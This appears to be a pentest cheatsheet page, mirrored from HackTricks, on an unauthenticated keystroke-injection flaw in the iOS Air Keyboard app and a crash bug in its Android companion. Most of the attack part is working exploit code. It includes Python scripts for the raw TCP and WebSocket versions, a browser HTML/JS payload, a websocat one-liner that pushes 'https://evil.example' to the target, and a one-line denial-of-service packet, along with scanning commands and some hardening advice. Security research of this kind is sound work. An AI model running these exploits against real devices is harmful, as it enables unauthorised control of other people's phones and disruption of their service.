daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

air-keyboard-remote-input-injection.md (10549B)


      1 ---
      2 title: "Air Keyboard Remote Input Injection (Unauthenticated TCP / WebSocket Listener)"
      3 section: "Mobile"
      4 sectionSlug: "mobile-pentesting"
      5 sourcePath: "src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Air Keyboard Remote Input Injection (Unauthenticated TCP / WebSocket Listener)
     14 
     15 ## TL;DR
     16 
     17 The iOS version of the commercial **“Air Keyboard”** application (App Store ID 6463187929) exposes a local-network service that **accepts keystroke frames without any authentication or origin verification**. Depending on the version installed the service is either:
     18 
     19 * **≤ 1.0.4**  – raw TCP listener on **port 8888** that expects a 2-byte length header followed by a *device-id* and the ASCII payload.<sup>[[3]](#references)</sup>
     20 * **≥ 1.0.5 (App Store release dated 2025-03-07)**  – **WebSocket** listener on the *same* port (**8888**) that parses **JSON** keys such as `{"type":1,"text":"…"}`.<sup>[[1]](#references)</sup>
     21 
     22 Any device on the same Wi-Fi / subnet can therefore **inject arbitrary keyboard input into the victim’s phone, achieving full remote interaction hijacking**.  
     23 A companion Android build listens on **port 55535**. It performs a weak AES-ECB handshake but crafted garbage still causes an **unhandled exception inside OpenSSL**, crashing the background service (**DoS**).<sup>[[3]](#references)</sup>
     24 
     25 > As of **2026-07-10**, Apple's App Store metadata still reports **version 1.0.5** as the current release, so the vulnerable WebSocket-based design should still be treated as **reachable in the wild** unless you verify the installed build yourself.<sup>[[2]](#references)</sup>
     26 
     27 ---
     28 
     29 ## 1. Service Discovery
     30 
     31 Scan the local network and look for the two fixed ports used by the apps:
     32 
     33 ```bash
     34 # iOS (unauthenticated input-injection)
     35 nmap -p 8888 --open 192.168.1.0/24  
     36 
     37 # Android (weakly-authenticated service)
     38 nmap -p 55535 --open 192.168.1.0/24
     39 ```
     40 
     41 On Android handsets you can identify the responsible package locally:
     42 
     43 ```bash
     44 adb shell netstat -tulpn | grep 55535      # no root required on emulator
     45 # rooted device / Termux
     46 netstat -tulpn | grep LISTEN
     47 ls -l /proc/<PID>/cmdline                 # map PID → package name
     48 ```
     49 
     50 On **jailbroken iOS** you can do something similar with `lsof -i -nP | grep LISTEN | grep 8888`.
     51 
     52 ### 1.1 Static triage before touching the network
     53 
     54 If you have the IPA, confirm that the app is allowed to talk to the LAN and grep for protocol markers before you start active probing:
     55 
     56 ```bash
     57 # Dump LAN-related plist keys
     58 unzip -p Air-Keyboard.ipa "Payload/*.app/Info.plist" \
     59   | plutil -convert xml1 -o - - \
     60   | egrep "NSLocalNetworkUsageDescription|NSBonjourServices"
     61 
     62 # Hunt for hard-coded port/protocol markers in the app payload
     63 find Payload -type f -print0 \
     64   | xargs -0 strings -a 2>/dev/null \
     65   | egrep "ws://|selectionStart|selectionEnd|shiftKey|\b8888\b"
     66 ```
     67 
     68 Since **iOS 14+** the user must approve **Local Network** access, but that prompt only controls *visibility/reachability* of the LAN API surface — it does **not** authenticate peers on the subnet. Once access is granted, any host on the same network can still talk to the listener unless the app implements its own pairing or cryptographic checks.
     69 
     70 ---
     71 
     72 ## 2. Protocol Details (iOS)
     73 
     74 ### 2.1  Legacy (≤ 1.0.4) – custom binary frames
     75 
     76 ```text
     77 [length (2 bytes little-endian)]
     78 [device_id (1 byte)]
     79 [payload ASCII keystrokes]
     80 ```
     81 
     82 The declared *length* includes the `device_id` byte **but not** the two-byte header itself.
     83 
     84 ### 2.2  Current (≥ 1.0.5) – JSON over WebSocket
     85 
     86 Version 1.0.5 silently migrated to WebSockets while keeping the port number unchanged.<sup>[[1]](#references)</sup> A minimal keystroke looks like:
     87 
     88 ```json
     89 {
     90   "type": 1,              // 1 = insert text, 2 = special key
     91   "text": "open -a Calculator\n",
     92   "mode": 0,
     93   "shiftKey": false,
     94   "selectionStart": 0,
     95   "selectionEnd": 0
     96 }
     97 ```
     98 
     99 No handshake, token or signature is required – the first JSON object already triggers the UI event.<sup>[[1]](#references)</sup>
    100 
    101 ### 2.3  Cross-origin / browser-delivered abuse
    102 
    103 Because the WebSocket listener accepts upgrades from any client and does not validate the **`Origin`** header, you do not strictly need a custom native exploit once you can run JavaScript in a context that is allowed to reach `ws://<victim-ip>:8888` (for example: an HTTP origin on the same LAN, an embedded WebView, or a browser extension). A minimal proof-of-concept is:
    104 
    105 ```html
    106 <script>
    107 const ws = new WebSocket("ws://192.168.1.50:8888");
    108 ws.onopen = () => ws.send(JSON.stringify({
    109   type: 1,
    110   text: "https://evil.example\n",
    111   mode: 0,
    112   shiftKey: false,
    113   selectionStart: 0,
    114   selectionEnd: 0
    115 }));
    116 </script>
    117 ```
    118 
    119 That turns the issue into a useful **browser-to-LAN pivot** wherever the attacking context can already reach RFC1918 targets. For the generic cross-origin angle, see [WebSocket attacks](/hacktricks/pentesting-web/websocket-attacks).
    120 
    121 ---
    122 
    123 ## 3. Exploitation PoC
    124 
    125 ### 3.1  Targeting ≤ 1.0.4 (raw TCP)
    126 
    127 ```python
    128 #!/usr/bin/env python3
    129 """Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)"""
    130 import socket, sys
    131 
    132 target_ip  = sys.argv[1]                 # e.g. 192.168.1.50
    133 keystrokes = b"open -a Calculator\n"    # payload visible to the user
    134 
    135 frame  = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
    136 frame += b"\x01"                        # device_id = 1 (hard-coded)
    137 frame += keystrokes
    138 
    139 with socket.create_connection((target_ip, 8888)) as s:
    140     s.sendall(frame)
    141 print("[+] Injected", keystrokes)
    142 ```
    143 
    144 ### 3.2  Targeting ≥ 1.0.5 (WebSocket)
    145 
    146 ```python
    147 #!/usr/bin/env python3
    148 """Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)"""
    149 import json, sys, websocket  # `pip install websocket-client`
    150 
    151 target_ip = sys.argv[1]
    152 ws        = websocket.create_connection(f"ws://{target_ip}:8888")
    153 ws.send(json.dumps({
    154     "type": 1,
    155     "text": "https://evil.example\n",
    156     "mode": 0,
    157     "shiftKey": False,
    158     "selectionStart": 0,
    159     "selectionEnd": 0
    160 }))
    161 ws.close()
    162 print("[+] URL opened on target browser")
    163 ```
    164 
    165 For quick manual testing you can also skip Python entirely:
    166 
    167 ```bash
    168 printf %s '{"type":1,"text":"https://evil.example\n","mode":0,"shiftKey":false,"selectionStart":0,"selectionEnd":0}' \
    169   | websocat -1 ws://192.168.1.50:8888
    170 ```
    171 
    172 *Any printable ASCII — including line-feeds, tabs and most special keys — can be sent, giving the attacker the same power as physical user input: launching apps, sending IMs, opening malicious URLs, toggling settings, etc.*<sup>[[1]](#references)</sup>
    173 
    174 ---
    175 
    176 ## 4. Android Companion – Denial-of-Service
    177 
    178 The Android port (55535) expects a **4-character password encrypted with a hard-coded AES-128-ECB key** followed by a random nonce.  Parsing errors bubble up to `AES_decrypt()` and are not caught, terminating the listener thread.  A single malformed packet therefore suffices to keep legitimate users disconnected until the process is relaunched.<sup>[[3]](#references)</sup>
    179 
    180 ```python
    181 import socket
    182 socket.create_connection((victim, 55535)).send(b"A"*32)  # minimal DoS
    183 ```
    184 
    185 ---
    186 
    187 ## 5. Related Apps – A Recurring Anti-Pattern
    188 
    189 Air Keyboard is **not an isolated case**. Other mobile “remote keyboard/mouse” utilities have shipped with the very same flaw:<sup>[[4]](#references)</sup>
    190 
    191 * **Telepad ≤ 1.0.7** – CVE-2022-45477/78  allow unauthenticated command execution and plain-text key-logging.
    192 * **PC Keyboard ≤ 30** – CVE-2022-45479/80  unauthenticated RCE & traffic snooping.
    193 * **Lazy Mouse ≤ 2.0.1** – CVE-2022-45481/82/83  default-no-password, weak PIN brute-force and clear-text leakage.
    194 
    195 These cases highlight a systemic neglect of **network-facing attack surfaces on mobile apps**.
    196 
    197 ---
    198 
    199 ## 6. Root Causes
    200 
    201 1. **No origin / integrity checks** on incoming frames (iOS).
    202 2. **Cryptographic misuse** (static key, ECB, missing length validation) and **lack of exception handling** (Android).
    203 3. **User-granted Local-Network entitlement ≠ security** – iOS requests runtime consent for LAN traffic, but it doesn’t substitute proper authentication.
    204 
    205 ---
    206 
    207 ## 7. Hardening & Defensive Measures
    208 
    209 Developer recommendations:
    210 
    211 * Bind the listener to **`127.0.0.1`** and tunnel over **mTLS** or **Noise XX** if remote control is needed.
    212 * Derive **per-device secrets during onboarding** (e.g., QR code or Pairing PIN) and enforce *mutual* authentication before processing input.
    213 * Adopt **Apple Network Framework** with *NWListener* + TLS instead of raw sockets.
    214 * Implement **length-prefix sanity checks** and structured exception handling when decrypting or decoding frames.
    215 
    216 Blue-/Red-Team quick wins:
    217 
    218 * **Network hunting:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` or Wireshark filter `tcp.port == 8888`.
    219 * **Runtime inspection:** Frida script hooking `socket()`/`NWConnection` to list unexpected listeners.
    220 * **iOS App Privacy Report (Settings ▸ Privacy & Security ▸ App Privacy Report)** highlights apps that contact LAN addresses – useful for spotting rogue services.
    221 * **Mobile EDRs** can add simple Yara-L rules for the JSON keys `"selectionStart"`, `"selectionEnd"` inside clear-text TCP payloads on port 8888.
    222 
    223 ---
    224 
    225 ## Detection Cheat-Sheet (Pentesters)
    226 
    227 ```bash
    228 # Locate vulnerable devices in a /24 and print IP + list of open risky ports
    229 nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
    230   | awk '/Ports/{print $2 "  " $4}'
    231 
    232 # Inspect running sockets on a connected Android target
    233 adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \
    234   echo -n \"$p → \"; cat /proc/$p/cmdline; done"
    235 ```
    236 
    237 ---
    238 
    239 ## References
    240 
    241 - [1] [Exploit-DB 52333 – Air Keyboard iOS App 1.0.5 Remote Input Injection](https://www.exploit-db.com/exploits/52333)
    242 - [2] [Apple App Store – Air-Keyboard (current metadata / version history)](https://apps.apple.com/us/app/air-keyboard/id6463187929)
    243 - [3] [Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched - Mobile Hacker](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
    244 - [4] [CyRC Vulnerability Advisory: Remote code execution vulnerabilities in mouse and keyboard apps - Black Duck](https://www.blackduck.com/blog/cyrc-advisory-remote-code-execution-vulnerabilities-mouse-keyboard-apps/)